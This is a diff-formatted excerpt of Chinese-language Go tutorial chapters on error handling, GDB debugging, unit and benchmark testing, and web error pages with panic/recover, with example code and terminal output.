``` |
|||
在调用的地方,通过类型断言err是不是net.Error,来细化错误的处理,例如下面的例子,如果一个网络发生临时性错误,那么将会sleep 1秒之后重试: |
|||
```Go |
|||
|
|||
if nerr, ok := err.(net.Error); ok && nerr.Temporary() { |
|||
time.Sleep(1e9) |
|||
continue |
|||
} |
|||
if err != nil { |
|||
log.Fatal(err) |
|||
} |
|||
``` |
|||
## 错误处理 |
|||
Go在错误处理上采用了与C类似的检查返回值的方式,而不是其他多数主流语言采用的异常方式,这造成了代码编写上的一个很大的缺点:错误处理代码的冗余,对于这种情况是我们通过复用检测函数来减少类似的代码。 |
|||
|
|||
请看下面这个例子代码: |
|||
```Go |
|||
|
|||
func init() { |
|||
http.HandleFunc("/view", viewRecord) |
|||
} |
|||
|
|||
func viewRecord(w http.ResponseWriter, r *http.Request) { |
|||
c := appengine.NewContext(r) |
|||
key := datastore.NewKey(c, "Record", r.FormValue("id"), 0, nil) |
|||
record := new(Record) |
|||
if err := datastore.Get(c, key, record); err != nil { |
|||
http.Error(w, err.Error(), 500) |
|||
return |
|||
} |
|||
if err := viewTemplate.Execute(w, record); err != nil { |
|||
http.Error(w, err.Error(), 500) |
|||
} |
|||
} |
|||
``` |
|||
上面的例子中获取数据和模板展示调用时都有检测错误,当有错误发生时,调用了统一的处理函数`http.Error`,返回给客户端500错误码,并显示相应的错误数据。但是当越来越多的HandleFunc加入之后,这样的错误处理逻辑代码就会越来越多,其实我们可以通过自定义路由器来缩减代码(实现的思路可以参考第三章的HTTP详解)。 |
|||
```Go |
|||
|
|||
type appHandler func(http.ResponseWriter, *http.Request) error |
|||
|
|||
func (fn appHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) { |
|||
if err := fn(w, r); err != nil { |
|||
http.Error(w, err.Error(), 500) |
|||
} |
|||
} |
|||
``` |
|||
上面我们定义了自定义的路由器,然后我们可以通过如下方式来注册函数: |
|||
```Go |
|||
|
|||
func init() { |
|||
http.Handle("/view", appHandler(viewRecord)) |
|||
} |
|||
``` |
|||
当请求/view的时候我们的逻辑处理可以变成如下代码,和第一种实现方式相比较已经简单了很多。 |
|||
```Go |
|||
|
|||
func viewRecord(w http.ResponseWriter, r *http.Request) error { |
|||
c := appengine.NewContext(r) |
|||
key := datastore.NewKey(c, "Record", r.FormValue("id"), 0, nil) |
|||
record := new(Record) |
|||
if err := datastore.Get(c, key, record); err != nil { |
|||
return err |
|||
} |
|||
return viewTemplate.Execute(w, record) |
|||
} |
|||
``` |
|||
上面的例子错误处理的时候所有的错误返回给用户的都是500错误码,然后打印出来相应的错误代码,其实我们可以把这个错误信息定义的更加友好,调试的时候也方便定位问题,我们可以自定义返回的错误类型: |
|||
```Go |
|||
|
|||
type appError struct { |
|||
Error error |
|||
Message string |
|||
Code int |
|||
} |
|||
``` |
|||
这样我们的自定义路由器可以改成如下方式: |
|||
```Go |
|||
|
|||
type appHandler func(http.ResponseWriter, *http.Request) *appError |
|||
|
|||
func (fn appHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) { |
|||
if e := fn(w, r); e != nil { // e is *appError, not os.Error. |
|||
c := appengine.NewContext(r) |
|||
c.Errorf("%v", e.Error) |
|||
http.Error(w, e.Message, e.Code) |
|||
} |
|||
} |
|||
``` |
|||
这样修改完自定义错误之后,我们的逻辑处理可以改成如下方式: |
|||
```Go |
|||
|
|||
func viewRecord(w http.ResponseWriter, r *http.Request) *appError { |
|||
c := appengine.NewContext(r) |
|||
key := datastore.NewKey(c, "Record", r.FormValue("id"), 0, nil) |
|||
record := new(Record) |
|||
if err := datastore.Get(c, key, record); err != nil { |
|||
return &appError{err, "Record not found", 404} |
|||
} |
|||
if err := viewTemplate.Execute(w, record); err != nil { |
|||
return &appError{err, "Can't display record", 500} |
|||
} |
|||
return nil |
|||
} |
|||
``` |
|||
如上所示,在我们访问view的时候可以根据不同的情况获取不同的错误码和错误信息,虽然这个和第一个版本的代码量差不多,但是这个显示的错误更加明显,提示的错误信息更加友好,扩展性也比第一个更好。 |
|||
|
|||
## 总结 |
|||
在程序设计中,容错是相当重要的一部分工作,在Go中它是通过错误处理来实现的,error虽然只是一个接口,但是其变化却可以有很多,我们可以根据自己的需求来实现不同的处理,最后介绍的错误处理方案,希望能给大家在如何设计更好Web错误处理方案上带来一点思路。 |
|||
|
|||
## links |
|||
* [目录](<preface.md>) |
|||
* 上一节: [错误处理,调试和测试](<11.0.md>) |
|||
* 下一节: [使用GDB调试](<11.2.md>) |
@ -0,0 +1,252 @@ |
|||
# 11.2 使用GDB调试 |
|||
开发程序过程中调试代码是开发者经常要做的一件事情,Go语言不像PHP、Python等动态语言,只要修改不需要编译就可以直接输出,而且可以动态的在运行环境下打印数据。当然Go语言也可以通过Println之类的打印数据来调试,但是每次都需要重新编译,这是一件相当麻烦的事情。我们知道在Python中有pdb/ipdb之类的工具调试,Javascript也有类似工具,这些工具都能够动态的显示变量信息,单步调试等。不过庆幸的是Go也有类似的工具支持:GDB。Go内部已经内置支持了GDB,所以,我们可以通过GDB来进行调试,那么本小节就来介绍一下如何通过GDB来调试Go程序。 |
|||
|
|||
另外建议纯go代码使用[delve](https://github.com/derekparker/delve)可以很好的进行Go代码调试 |
|||
|
|||
## GDB调试简介 |
|||
GDB是FSF(自由软件基金会)发布的一个强大的类UNIX系统下的程序调试工具。使用GDB可以做如下事情: |
|||
|
|||
1. 启动程序,可以按照开发者的自定义要求运行程序。 |
|||
2. 可让被调试的程序在开发者设定的调置的断点处停住。(断点可以是条件表达式) |
|||
3. 当程序被停住时,可以检查此时程序中所发生的事。 |
|||
4. 动态的改变当前程序的执行环境。 |
|||
|
|||
目前支持调试Go程序的GDB版本必须大于7.1。 |
|||
|
|||
编译Go程序的时候需要注意以下几点 |
|||
|
|||
1. 传递参数-ldflags "-s",忽略debug的打印信息 |
|||
2. 传递-gcflags "-N -l" 参数,这样可以忽略Go内部做的一些优化,聚合变量和函数等优化,这样对于GDB调试来说非常困难,所以在编译的时候加入这两个参数避免这些优化。 |
|||
|
|||
## 常用命令 |
|||
GDB的一些常用命令如下所示 |
|||
|
|||
- list |
|||
|
|||
简写命令`l`,用来显示源代码,默认显示十行代码,后面可以带上参数显示的具体行,例如:`list 15`,显示十行代码,其中第15行在显示的十行里面的中间,如下所示。 |
|||
|
|||
10 time.Sleep(2 * time.Second) |
|||
11 c <- i |
|||
12 } |
|||
13 close(c) |
|||
14 } |
|||
15 |
|||
16 func main() { |
|||
17 msg := "Starting main" |
|||
18 fmt.Println(msg) |
|||
19 bus := make(chan int) |
|||
|
|||
|
|||
- break |
|||
|
|||
简写命令 `b`,用来设置断点,后面跟上参数设置断点的行数,例如`b 10`在第十行设置断点。 |
|||
|
|||
- delete |
|||
简写命令 `d`,用来删除断点,后面跟上断点设置的序号,这个序号可以通过`info breakpoints`获取相应的设置的断点序号,如下是显示的设置断点序号。 |
|||
|
|||
Num Type Disp Enb Address What |
|||
2 breakpoint keep y 0x0000000000400dc3 in main.main at /home/xiemengjun/gdb.go:23 |
|||
breakpoint already hit 1 time |
|||
|
|||
- backtrace |
|||
|
|||
简写命令 `bt`,用来打印执行的代码过程,如下所示: |
|||
|
|||
#0 main.main () at /home/xiemengjun/gdb.go:23 |
|||
#1 0x000000000040d61e in runtime.main () at /home/xiemengjun/go/src/pkg/runtime/proc.c:244 |
|||
#2 0x000000000040d6c1 in schedunlock () at /home/xiemengjun/go/src/pkg/runtime/proc.c:267 |
|||
#3 0x0000000000000000 in ?? () |
|||
- info |
|||
|
|||
info命令用来显示信息,后面有几种参数,我们常用的有如下几种: |
|||
|
|||
- `info locals` |
|||
|
|||
显示当前执行的程序中的变量值 |
|||
- `info breakpoints` |
|||
|
|||
显示当前设置的断点列表 |
|||
- `info goroutines` |
|||
|
|||
显示当前执行的goroutine列表,如下代码所示,带*的表示当前执行的 |
|||
|
|||
* 1 running runtime.gosched |
|||
* 2 syscall runtime.entersyscall |
|||
3 waiting runtime.gosched |
|||
4 runnable runtime.gosched |
|||
- print |
|||
|
|||
简写命令`p`,用来打印变量或者其他信息,后面跟上需要打印的变量名,当然还有一些很有用的函数$len()和$cap(),用来返回当前string、slices或者maps的长度和容量。 |
|||
|
|||
- whatis |
|||
|
|||
用来显示当前变量的类型,后面跟上变量名,例如`whatis msg`,显示如下: |
|||
|
|||
type = struct string |
|||
- next |
|||
|
|||
简写命令 `n`,用来单步调试,跳到下一步,当有断点之后,可以输入`n`跳转到下一步继续执行 |
|||
- continue |
|||
|
|||
简称命令 `c`,用来跳出当前断点处,后面可以跟参数N,跳过多少次断点 |
|||
|
|||
- set variable |
|||
|
|||
该命令用来改变运行过程中的变量值,格式如:`set variable <var>=<value>` |
|||
|
|||
## 调试过程 |
|||
我们通过下面这个代码来演示如何通过GDB来调试Go程序,下面是将要演示的代码: |
|||
```Go |
|||
|
|||
package main |
|||
|
|||
import ( |
|||
"fmt" |
|||
"time" |
|||
) |
|||
|
|||
func counting(c chan<- int) { |
|||
for i := 0; i < 10; i++ { |
|||
time.Sleep(2 * time.Second) |
|||
c <- i |
|||
} |
|||
close(c) |
|||
} |
|||
|
|||
func main() { |
|||
msg := "Starting main" |
|||
fmt.Println(msg) |
|||
bus := make(chan int) |
|||
msg = "starting a gofunc" |
|||
go counting(bus) |
|||
for count := range bus { |
|||
fmt.Println("count:", count) |
|||
} |
|||
} |
|||
``` |
|||
编译文件,生成可执行文件gdbfile: |
|||
|
|||
go build -gcflags "-N -l" gdbfile.go |
|||
|
|||
通过gdb命令启动调试: |
|||
|
|||
gdb gdbfile |
|||
|
|||
启动之后首先看看这个程序是不是可以运行起来,只要输入`run`命令回车后程序就开始运行,程序正常的话可以看到程序输出如下,和我们在命令行直接执行程序输出是一样的: |
|||
|
|||
(gdb) run |
|||
Starting program: /home/xiemengjun/gdbfile |
|||
Starting main |
|||
count: 0 |
|||
count: 1 |
|||
count: 2 |
|||
count: 3 |
|||
count: 4 |
|||
count: 5 |
|||
count: 6 |
|||
count: 7 |
|||
count: 8 |
|||
count: 9 |
|||
[LWP 2771 exited] |
|||
[Inferior 1 (process 2771) exited normally] |
|||
好了,现在我们已经知道怎么让程序跑起来了,接下来开始给代码设置断点: |
|||
|
|||
(gdb) b 23 |
|||
Breakpoint 1 at 0x400d8d: file /home/xiemengjun/gdbfile.go, line 23. |
|||
(gdb) run |
|||
Starting program: /home/xiemengjun/gdbfile |
|||
Starting main |
|||
[New LWP 3284] |
|||
[Switching to LWP 3284] |
|||
|
|||
Breakpoint 1, main.main () at /home/xiemengjun/gdbfile.go:23 |
|||
23 fmt.Println("count:", count) |
|||
|
|||
上面例子`b 23`表示在第23行设置了断点,之后输入`run`开始运行程序。现在程序在前面设置断点的地方停住了,我们需要查看断点相应上下文的源码,输入`list`就可以看到源码显示从当前停止行的前五行开始: |
|||
|
|||
(gdb) list |
|||
18 fmt.Println(msg) |
|||
19 bus := make(chan int) |
|||
20 msg = "starting a gofunc" |
|||
21 go counting(bus) |
|||
22 for count := range bus { |
|||
23 fmt.Println("count:", count) |
|||
24 } |
|||
25 } |
|||
|
|||
现在GDB在运行当前的程序的环境中已经保留了一些有用的调试信息,我们只需打印出相应的变量,查看相应变量的类型及值: |
|||
|
|||
(gdb) info locals |
|||
count = 0 |
|||
bus = 0xf840001a50 |
|||
(gdb) p count |
|||
$1 = 0 |
|||
(gdb) p bus |
|||
$2 = (chan int) 0xf840001a50 |
|||
(gdb) whatis bus |
|||
type = chan int |
|||
|
|||
接下来该让程序继续往下执行,请继续看下面的命令 |
|||
|
|||
(gdb) c |
|||
Continuing. |
|||
count: 0 |
|||
[New LWP 3303] |
|||
[Switching to LWP 3303] |
|||
|
|||
Breakpoint 1, main.main () at /home/xiemengjun/gdbfile.go:23 |
|||
23 fmt.Println("count:", count) |
|||
(gdb) c |
|||
Continuing. |
|||
count: 1 |
|||
[Switching to LWP 3302] |
|||
|
|||
Breakpoint 1, main.main () at /home/xiemengjun/gdbfile.go:23 |
|||
23 fmt.Println("count:", count) |
|||
|
|||
每次输入`c`之后都会执行一次代码,又跳到下一次for循环,继续打印出来相应的信息。 |
|||
|
|||
设想目前需要改变上下文相关变量的信息,跳过一些过程,并继续执行下一步,得出修改后想要的结果: |
|||
|
|||
(gdb) info locals |
|||
count = 2 |
|||
bus = 0xf840001a50 |
|||
(gdb) set variable count=9 |
|||
(gdb) info locals |
|||
count = 9 |
|||
bus = 0xf840001a50 |
|||
(gdb) c |
|||
Continuing. |
|||
count: 9 |
|||
[Switching to LWP 3302] |
|||
|
|||
Breakpoint 1, main.main () at /home/xiemengjun/gdbfile.go:23 |
|||
23 fmt.Println("count:", count) |
|||
|
|||
最后稍微思考一下,前面整个程序运行的过程中到底创建了多少个goroutine,每个goroutine都在做什么: |
|||
|
|||
(gdb) info goroutines |
|||
* 1 running runtime.gosched |
|||
* 2 syscall runtime.entersyscall |
|||
3 waiting runtime.gosched |
|||
4 runnable runtime.gosched |
|||
(gdb) goroutine 1 bt |
|||
#0 0x000000000040e33b in runtime.gosched () at /home/xiemengjun/go/src/pkg/runtime/proc.c:927 |
|||
#1 0x0000000000403091 in runtime.chanrecv (c=void, ep=void, selected=void, received=void) |
|||
at /home/xiemengjun/go/src/pkg/runtime/chan.c:327 |
|||
#2 0x000000000040316f in runtime.chanrecv2 (t=void, c=void) |
|||
at /home/xiemengjun/go/src/pkg/runtime/chan.c:420 |
|||
#3 0x0000000000400d6f in main.main () at /home/xiemengjun/gdbfile.go:22 |
|||
#4 0x000000000040d0c7 in runtime.main () at /home/xiemengjun/go/src/pkg/runtime/proc.c:244 |
|||
#5 0x000000000040d16a in schedunlock () at /home/xiemengjun/go/src/pkg/runtime/proc.c:267 |
|||
#6 0x0000000000000000 in ?? () |
|||
|
|||
通过查看goroutines的命令我们可以清楚地了解goruntine内部是怎么执行的,每个函数的调用顺序已经明明白白地显示出来了。 |
|||
|
|||
## 小结 |
|||
本小节我们介绍了GDB调试Go程序的一些基本命令,包括`run`、`print`、`info`、`set variable`、`coutinue`、`list`、`break` 等经常用到的调试命令,通过上面的例子演示,我相信读者已经对于通过GDB调试Go程序有了基本的理解,如果你想获取更多的调试技巧请参考官方网站的GDB调试手册,还有GDB官方网站的手册。 |
|||
|
|||
## links |
|||
* [目录](<preface.md>) |
|||
* 上一节: [错误处理](<11.1.md>) |
|||
* 下一节: [Go怎么写测试用例](<11.3.md>) |
@ -0,0 +1,173 @@ |
|||
# 11.3 Go怎么写测试用例 |
|||
开发程序其中很重要的一点是测试,我们如何保证代码的质量,如何保证每个函数是可运行,运行结果是正确的,又如何保证写出来的代码性能是好的,我们知道单元测试的重点在于发现程序设计或实现的逻辑错误,使问题及早暴露,便于问题的定位解决,而性能测试的重点在于发现程序设计上的一些问题,让线上的程序能够在高并发的情况下还能保持稳定。本小节将带着这一连串的问题来讲解Go语言中如何来实现单元测试和性能测试。 |
|||
|
|||
Go语言中自带有一个轻量级的测试框架`testing`和自带的`go test`命令来实现单元测试和性能测试,`testing`框架和其他语言中的测试框架类似,你可以基于这个框架写针对相应函数的测试用例,也可以基于该框架写相应的压力测试用例,那么接下来让我们一一来看一下怎么写。 |
|||
|
|||
另外建议安装[gotests](https://github.com/cweill/gotests)插件自动生成测试代码: |
|||
|
|||
```Go |
|||
go get -u -v github.com/cweill/gotests/... |
|||
|
|||
``` |
|||
|
|||
## 如何编写测试用例 |
|||
由于`go test`命令只能在一个相应的目录下执行所有文件,所以我们接下来新建一个项目目录`gotest`,这样我们所有的代码和测试代码都在这个目录下。 |
|||
|
|||
接下来我们在该目录下面创建两个文件:gotest.go和gotest_test.go |
|||
|
|||
1. gotest.go:这个文件里面我们是创建了一个包,里面有一个函数实现了除法运算: |
|||
|
|||
```Go |
|||
|
|||
package gotest |
|||
|
|||
import ( |
|||
"errors" |
|||
) |
|||
|
|||
func Division(a, b float64) (float64, error) { |
|||
if b == 0 { |
|||
return 0, errors.New("除数不能为0") |
|||
} |
|||
|
|||
return a / b, nil |
|||
} |
|||
|
|||
``` |
|||
|
|||
2. gotest_test.go:这是我们的单元测试文件,但是记住下面的这些原则: |
|||
|
|||
- 文件名必须是`_test.go`结尾的,这样在执行`go test`的时候才会执行到相应的代码 |
|||
- 你必须import `testing`这个包 |
|||
- 所有的测试用例函数必须是`Test`开头 |
|||
- 测试用例会按照源代码中写的顺序依次执行 |
|||
- 测试函数`TestXxx()`的参数是`testing.T`,我们可以使用该类型来记录错误或者是测试状态 |
|||
- 测试格式:`func TestXxx (t *testing.T)`,`Xxx`部分可以为任意的字母数字的组合,但是首字母不能是小写字母[a-z],例如`Testintdiv`是错误的函数名。 |
|||
- 函数中通过调用`testing.T`的`Error`, `Errorf`, `FailNow`, `Fatal`, `FatalIf`方法,说明测试不通过,调用`Log`方法用来记录测试的信息。 |
|||
|
|||
下面是我们的测试用例的代码: |
|||
|
|||
```Go |
|||
|
|||
package gotest |
|||
|
|||
import ( |
|||
"testing" |
|||
) |
|||
|
|||
func Test_Division_1(t *testing.T) { |
|||
if i, e := Division(6, 2); i != 3 || e != nil { //try a unit test on function |
|||
t.Error("除法函数测试没通过") // 如果不是如预期的那么就报错 |
|||
} else { |
|||
t.Log("第一个测试通过了") //记录一些你期望记录的信息 |
|||
} |
|||
} |
|||
|
|||
func Test_Division_2(t *testing.T) { |
|||
t.Error("就是不通过") |
|||
} |
|||
|
|||
``` |
|||
|
|||
我们在项目目录下面执行`go test`,就会显示如下信息: |
|||
|
|||
--- FAIL: Test_Division_2 (0.00 seconds) |
|||
gotest_test.go:16: 就是不通过 |
|||
FAIL |
|||
exit status 1 |
|||
FAIL gotest 0.013s |
|||
从这个结果显示测试没有通过,因为在第二个测试函数中我们写死了测试不通过的代码`t.Error`,那么我们的第一个函数执行的情况怎么样呢?默认情况下执行`go test`是不会显示测试通过的信息的,我们需要带上参数`go test -v`,这样就会显示如下信息: |
|||
|
|||
=== RUN Test_Division_1 |
|||
--- PASS: Test_Division_1 (0.00 seconds) |
|||
gotest_test.go:11: 第一个测试通过了 |
|||
=== RUN Test_Division_2 |
|||
--- FAIL: Test_Division_2 (0.00 seconds) |
|||
gotest_test.go:16: 就是不通过 |
|||
FAIL |
|||
exit status 1 |
|||
FAIL gotest 0.012s |
|||
上面的输出详细的展示了这个测试的过程,我们看到测试函数1`Test_Division_1`测试通过,而测试函数2`Test_Division_2`测试失败了,最后得出结论测试不通过。接下来我们把测试函数2修改成如下代码: |
|||
|
|||
```Go |
|||
|
|||
func Test_Division_2(t *testing.T) { |
|||
if _, e := Division(6, 0); e == nil { //try a unit test on function |
|||
t.Error("Division did not work as expected.") // 如果不是如预期的那么就报错 |
|||
} else { |
|||
t.Log("one test passed.", e) //记录一些你期望记录的信息 |
|||
} |
|||
} |
|||
``` |
|||
然后我们执行`go test -v`,就显示如下信息,测试通过了: |
|||
|
|||
=== RUN Test_Division_1 |
|||
--- PASS: Test_Division_1 (0.00 seconds) |
|||
gotest_test.go:11: 第一个测试通过了 |
|||
=== RUN Test_Division_2 |
|||
--- PASS: Test_Division_2 (0.00 seconds) |
|||
gotest_test.go:20: one test passed. 除数不能为0 |
|||
PASS |
|||
ok gotest 0.013s |
|||
|
|||
## 如何编写压力测试 |
|||
压力测试用来检测函数(方法)的性能,和编写单元功能测试的方法类似,此处不再赘述,但需要注意以下几点: |
|||
|
|||
- 压力测试用例必须遵循如下格式,其中XXX可以是任意字母数字的组合,但是首字母不能是小写字母 |
|||
|
|||
```Go |
|||
func BenchmarkXXX(b *testing.B) { ... } |
|||
``` |
|||
|
|||
- `go test`不会默认执行压力测试的函数,如果要执行压力测试需要带上参数`-test.bench`,语法:`-test.bench="test_name_regex"`,例如`go test -test.bench=".*"`表示测试全部的压力测试函数 |
|||
- 在压力测试用例中,请记得在循环体内使用`testing.B.N`,以使测试可以正常的运行 |
|||
- 文件名也必须以`_test.go`结尾 |
|||
|
|||
下面我们新建一个压力测试文件webbench_test.go,代码如下所示: |
|||
|
|||
```Go |
|||
|
|||
package gotest |
|||
|
|||
import ( |
|||
"testing" |
|||
) |
|||
|
|||
func Benchmark_Division(b *testing.B) { |
|||
for i := 0; i < b.N; i++ { //use b.N for looping |
|||
Division(4, 5) |
|||
} |
|||
} |
|||
|
|||
func Benchmark_TimeConsumingFunction(b *testing.B) { |
|||
b.StopTimer() //调用该函数停止压力测试的时间计数 |
|||
|
|||
//做一些初始化的工作,例如读取文件数据,数据库连接之类的, |
|||
//这样这些时间不影响我们测试函数本身的性能 |
|||
|
|||
b.StartTimer() //重新开始时间 |
|||
for i := 0; i < b.N; i++ { |
|||
Division(4, 5) |
|||
} |
|||
} |
|||
|
|||
``` |
|||
|
|||
我们执行命令`go test webbench_test.go -test.bench=".*"`,可以看到如下结果: |
|||
``` |
|||
Benchmark_Division-4 500000000 7.76 ns/op 456 B/op 14 allocs/op |
|||
Benchmark_TimeConsumingFunction-4 500000000 7.80 ns/op 224 B/op 4 allocs/op |
|||
PASS |
|||
ok gotest 9.364s |
|||
``` |
|||
|
|||
上面的结果显示我们没有执行任何`TestXXX`的单元测试函数,显示的结果只执行了压力测试函数,第一条显示了`Benchmark_Division`执行了500000000次,每次的执行平均时间是7.76纳秒,第二条显示了`Benchmark_TimeConsumingFunction`执行了500000000,每次的平均执行时间是7.80纳秒。最后一条显示总共的执行时间。 |
|||
|
|||
## 小结 |
|||
通过上面对单元测试和压力测试的学习,我们可以看到`testing`包很轻量,编写单元测试和压力测试用例非常简单,配合内置的`go test`命令就可以非常方便的进行测试,这样在我们每次修改完代码,执行一下go test就可以简单的完成回归测试了。 |
|||
|
|||
|
|||
## links |
|||
* [目录](<preface.md>) |
|||
* 上一节: [使用GDB调试](<11.2.md>) |
|||
* 下一节: [小结](<11.4.md>) |
@ -0,0 +1,136 @@ |
|||
<!-- {% raw %} --> |
|||
# 12.2 网站错误处理 |
|||
我们的Web应用一旦上线之后,那么各种错误出现的概率都有,Web应用日常运行中可能出现多种错误,具体如下所示: |
|||
|
|||
- 数据库错误:指与访问数据库服务器或数据相关的错误。例如,以下可能出现的一些数据库错误。 |
|||
|
|||
- 连接错误:这一类错误可能是数据库服务器网络断开、用户名密码不正确、或者数据库不存在。 |
|||
- 查询错误:使用的SQL非法导致错误,这样子SQL错误如果程序经过严格的测试应该可以避免。 |
|||
- 数据错误:数据库中的约束冲突,例如一个唯一字段中插入一条重复主键的值就会报错,但是如果你的应用程序在上线之前经过了严格的测试也是可以避免这类问题。 |
|||
- 应用运行时错误:这类错误范围很广,涵盖了代码中出现的几乎所有错误。可能的应用错误的情况如下: |
|||
|
|||
- 文件系统和权限:应用读取不存在的文件,或者读取没有权限的文件、或者写入一个不允许写入的文件,这些都会导致一个错误。应用读取的文件如果格式不正确也会报错,例如配置文件应该是ini的配置格式,而设置成了json格式就会报错。 |
|||
- 第三方应用:如果我们的应用程序耦合了其他第三方接口程序,例如应用程序发表文章之后自动调用接发微博的接口,所以这个接口必须正常运行才能完成我们发表一篇文章的功能。 |
|||
|
|||
- HTTP错误:这些错误是根据用户的请求出现的错误,最常见的就是404错误。虽然可能会出现很多不同的错误,但其中比较常见的错误还有401未授权错误(需要认证才能访问的资源)、403禁止错误(不允许用户访问的资源)和503错误(程序内部出错)。 |
|||
- 操作系统出错:这类错误都是由于应用程序上的操作系统出现错误引起的,主要有操作系统的资源被分配完了,导致死机,还有操作系统的磁盘满了,导致无法写入,这样就会引起很多错误。 |
|||
- 网络出错:指两方面的错误,一方面是用户请求应用程序的时候出现网络断开,这样就导致连接中断,这种错误不会造成应用程序的崩溃,但是会影响用户访问的效果;另一方面是应用程序读取其他网络上的数据,其他网络断开会导致读取失败,这种需要对应用程序做有效的测试,能够避免这类问题出现的情况下程序崩溃。 |
|||
|
|||
## 错误处理的目标 |
|||
在实现错误处理之前,我们必须明确错误处理想要达到的目标是什么,错误处理系统应该完成以下工作: |
|||
|
|||
- 通知访问用户出现错误了:不论出现的是一个系统错误还是用户错误,用户都应当知道Web应用出了问题,用户的这次请求无法正确的完成了。例如,对于用户的错误请求,我们显示一个统一的错误页面(404.html)。出现系统错误时,我们通过自定义的错误页面显示系统暂时不可用之类的错误页面(error.html)。 |
|||
- 记录错误:系统出现错误,一般就是我们调用函数的时候返回err不为nil的情况,可以使用前面小节介绍的日志系统记录到日志文件。如果是一些致命错误,则通过邮件通知系统管理员。一般404之类的错误不需要发送邮件,只需要记录到日志系统。 |
|||
- 回滚当前的请求操作:如果一个用户请求过程中出现了一个服务器错误,那么已完成的操作需要回滚。下面来看一个例子:一个系统将用户递交的表单保存到数据库,并将这个数据递交到一个第三方服务器,但是第三方服务器挂了,这就导致一个错误,那么先前存储到数据库的表单数据应该删除(应告知无效),而且应该通知用户系统出现错误了。 |
|||
- 保证现有程序可运行可服务:我们知道没有人能保证程序一定能够一直正常的运行着,万一哪一天程序崩溃了,那么我们就需要记录错误,然后立刻让程序重新运行起来,让程序继续提供服务,然后再通知系统管理员,通过日志等找出问题。 |
|||
|
|||
## 如何处理错误 |
|||
错误处理其实我们已经在十一章第一小节里面有过介绍如何设计错误处理,这里我们再从一个例子详细的讲解一下,如何来处理不同的错误: |
|||
|
|||
- 通知用户出现错误: |
|||
|
|||
通知用户在访问页面的时候我们可以有两种错误:404.html和error.html,下面分别显示了错误页面的源码: |
|||
|
|||
```html |
|||
|
|||
<html lang="en"> |
|||
<head> |
|||
<meta http-equiv="Content-Type" content="text/html; charset=utf-8"> |
|||
<title>找不到页面</title> |
|||
<meta name="viewport" content="width=device-width, initial-scale=1.0"> |
|||
|
|||
</head> |
|||
<body> |
|||
<div class="container"> |
|||
<div class="row"> |
|||
<div class="span10"> |
|||
<div class="hero-unit"> |
|||
<h1>404!</h1> |
|||
<p>{{.ErrorInfo}}</p> |
|||
</div> |
|||
</div><!--/span--> |
|||
</div> |
|||
</div> |
|||
</body> |
|||
</html> |
|||
``` |
|||
另一个源码: |
|||
|
|||
```html |
|||
|
|||
<html lang="en"> |
|||
<head> |
|||
<meta http-equiv="Content-Type" content="text/html; charset=utf-8"> |
|||
<title>系统错误页面</title> |
|||
<meta name="viewport" content="width=device-width, initial-scale=1.0"> |
|||
|
|||
</head> |
|||
<body> |
|||
<div class="container"> |
|||
<div class="row"> |
|||
<div class="span10"> |
|||
<div class="hero-unit"> |
|||
<h1>系统暂时不可用!</h1> |
|||
<p>{{.ErrorInfo}}</p> |
|||
</div> |
|||
</div><!--/span--> |
|||
</div> |
|||
</div> |
|||
</body> |
|||
</html> |
|||
|
|||
``` |
|||
404的错误处理逻辑,如果是系统的错误也是类似的操作,同时我们看到在: |
|||
|
|||
```Go |
|||
|
|||
func (p *MyMux) ServeHTTP(w http.ResponseWriter, r *http.Request) { |
|||
if r.URL.Path == "/" { |
|||
sayhelloName(w, r) |
|||
return |
|||
} |
|||
NotFound404(w, r) |
|||
return |
|||
} |
|||
|
|||
func NotFound404(w http.ResponseWriter, r *http.Request) { |
|||
log.Error("页面找不到") //记录错误日志 |
|||
t, _ = t.ParseFiles("tmpl/404.html", nil) //解析模板文件 |
|||
ErrorInfo := "文件找不到" //获取当前报错信息 |
|||
t.Execute(w, ErrorInfo) //执行模板的merger操作 |
|||
} |
|||
|
|||
func SystemError(w http.ResponseWriter, r *http.Request) { |
|||
log.Critical("系统错误") //系统错误触发了Critical,那么不仅会记录日志还会发送邮件 |
|||
t, _ = t.ParseFiles("tmpl/error.html", nil) //解析模板文件 |
|||
ErrorInfo := "系统暂时不可用" //获取当前报错信息 |
|||
t.Execute(w, ErrorInfo) //执行模板的merger操作 |
|||
} |
|||
|
|||
``` |
|||
## 如何处理异常 |
|||
我们知道在很多其他语言中有try...catch关键词,用来捕获异常情况,但是其实很多错误都是可以预期发生的,而不需要异常处理,应该当做错误来处理,这也是为什么Go语言采用了函数返回错误的设计,这些函数不会panic,例如如果一个文件找不到,os.Open返回一个错误,它不会panic;如果你向一个中断的网络连接写数据,net.Conn系列类型的Write函数返回一个错误,它们不会panic。这些状态在这样的程序里都是可以预期的。你知道这些操作可能会失败,因为设计者已经用返回错误清楚地表明了这一点。这就是上面所讲的可以预期发生的错误。 |
|||
|
|||
但是还有一种情况,有一些操作几乎不可能失败,而且在一些特定的情况下也没有办法返回错误,也无法继续执行,这样情况就应该panic。举个例子:如果一个程序计算x[j],但是j越界了,这部分代码就会导致panic,像这样的一个不可预期严重错误就会引起panic,在默认情况下它会杀掉进程,它允许一个正在运行这部分代码的goroutine从发生错误的panic中恢复运行,发生panic之后,这部分代码后面的函数和代码都不会继续执行,这是Go特意这样设计的,因为要区别于错误和异常,panic其实就是异常处理。如下代码,我们期望通过uid来获取User中的username信息,但是如果uid越界了就会抛出异常,这个时候如果我们没有recover机制,进程就会被杀死,从而导致程序不可服务。因此为了程序的健壮性,在一些地方需要建立recover机制。 |
|||
```Go |
|||
|
|||
func GetUser(uid int) (username string) { |
|||
defer func() { |
|||
if x := recover(); x != nil { |
|||
username = "" |
|||
} |
|||
}() |
|||
|
|||
username = User[uid] |
|||
return |
|||
} |
|||
``` |
|||
上面介绍了错误和异常的区别,那么我们在开发程序的时候如何来设计呢?规则很简单:如果你定义的函数有可能失败,它就应该返回一个错误。当我调用其他package的函数时,如果这个函数实现的很好,我不需要担心它会panic,除非有真正的异常情况发生,即使那样也不应该是我去处理它。而panic和recover是针对自己开发package里面实现的逻辑,针对一些特殊情况来设计。 |
|||
|
|||
## 小结 |
|||
